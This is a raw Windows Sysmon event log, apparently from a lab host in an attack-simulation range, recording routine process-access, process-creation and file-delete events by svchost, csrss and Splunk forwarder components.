15:07:32.123{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017964Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:32.123{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017963Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:32.123{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017962Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:32.123{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017961Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:32.123{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017960Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:32.123{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017959Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:32.123{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017958Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:32.123{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017957Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:32.123{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017956Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:32.123{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-74B4-613B-3705-00000000F101}1888C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000017955Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:32.123{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-74B4-613B-3705-00000000F101}1888C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000017954Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:32.124{625C326B-74B4-613B-3705-00000000F101}1888C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000017953Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:32.030{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=79FD39E7DEAD83FCB03DDA355E4E9140,SHA256=972B34D462977AA5769401BE824350B48661033FE9A86B007256294D94B365DB,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000017997Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:33.889{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-74B5-613B-3905-00000000F101}1556C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017996Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:33.889{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017995Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:33.889{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017994Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:33.889{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017993Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:33.889{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017992Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:33.889{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017991Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:33.889{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017990Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:33.889{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017989Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:33.889{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017988Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:33.889{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017987Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:33.889{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-74B5-613B-3905-00000000F101}1556C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000017986Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:33.889{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-74B5-613B-3905-00000000F101}1556C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000017985Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:33.889{625C326B-74B5-613B-3905-00000000F101}1556C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000017984Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:33.654{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=5E3FA1BF6AA3D7795B53684F65764264,SHA256=99768E126A1BF6C7ECE8078B16B6739ACBC24A3814C29A983ED04D6DF7E8C33A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017983Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:07:33.279{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DCB468946AEDF9A5BA9C9624AF024D79,SHA256=C050389F2BED27BCF435CEA1DD1A9BFD20477D2DF17C9D3D4D2E093BEFE5ED7D,IMPHASH=00000000000000000000000000000000falsetrue 